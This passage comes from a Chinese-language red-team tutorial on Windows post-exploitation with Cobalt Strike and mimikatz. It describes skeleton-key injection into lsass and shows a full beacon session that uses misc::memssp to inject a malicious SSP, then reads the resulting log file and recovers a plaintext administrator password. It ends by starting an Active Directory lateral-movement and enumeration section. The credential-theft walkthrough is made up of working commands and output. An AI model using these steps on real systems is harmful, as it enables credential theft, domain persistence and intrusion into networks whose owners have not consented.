注入恶意的 Windows SSP 来记录本地身份验证凭据,这个凭证存储在“C:\windows\system32\mimilsa.log”中 - misc::skeleton
该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。 - process::suspend [pid]
挂起某个进程,但是不结束它 - process::resume [pid]
恢复挂起的进程
以上的这些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。
首先运行mimikatz !misc::memssp
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz’s !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)接下来来到C:\Windows\system32目录
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytesbeacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驱动器 C 中的卷没有标签
卷的序列号是 BE29-9C84C:\Windows\system32 的目录
2020/07/23 21:47 24 mimilsa.log
1 个文件 24 字节
0 个目录 17,394,728,960 可用字节
可以看到是存在mimilsa.log文件的,此时待目标主机重新登录,比如电脑锁屏后用户进行登录。
查看mimilsa.log文件内容
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!
0x005 横向
通过前面的几步操作,顺利的话。基本上已经掌握了一台或多台计算机,并拥有一定的权限。接下来是扩大战果的时候,这个时候,开始需要我们对自己所在的网络有一个大致的了解,避免自己“迷路”。
以下为windows环境下的一般操作思路、工具的参考记录。
以下命令是在主机中运行的结果,在 Cobalt Strike 中运行只需要根据命令类型在命令前加上 shell 或者 powershell。
1、名词解释
- 活动目录
活动目录Active Directory是一种能够集中管理用户、系统和策略的技术,活动目录的一个重要概念就是域。
Active Directory 存储有关网络上对象的信息,并让管理员和用户可以更容易地使用这些信息。例如 Active Directory 域服务即 AD DS 存储着有关用户账户的信息,并且使同一网络下的其他授权用户可以访问此信息。 - 域
域Domain即是一个管理员或者说是网络边界,在域里的用户和系统都是通过 AD进行管理的。
在域里,如果想控制服务器进行操作就需要取得域的信任。 - 域控制器
域控制器Domain Controller顾名思义就是一个对域里的用户和系统进行身份验证的一个系统。 - 本地用户
本地用户Local User就是系统上的一个标准用户。
当我们想在 Windows 命令行下指定一个本地的用户时,可以通过输入 .\本地用户名或者 计算机名\本地用户名来指定本地的用户账户,其中.表示计算机名。 - 域用户
域用户Domain User是指域控制器下的用户,如果想指定域用户,可以输入域名\域用户名 - 本地管理员
本地管理员Local Administrator即是指在本地系统有管理权限的用户。 - 域管理员
域管理员Domain Administrator是指在域控制器上有管理权限的用户。
2、主机和用户枚举
主机枚举
当进入目标局域网时,需要弄清楚几个问题。
1、我正处在那个域上?
2、域信任关系是什么样的?
3、可以登陆哪些域?这些域上有哪些系统?目标是什么?可以获取什么?
4、系统上存放共享数据的地方在哪里?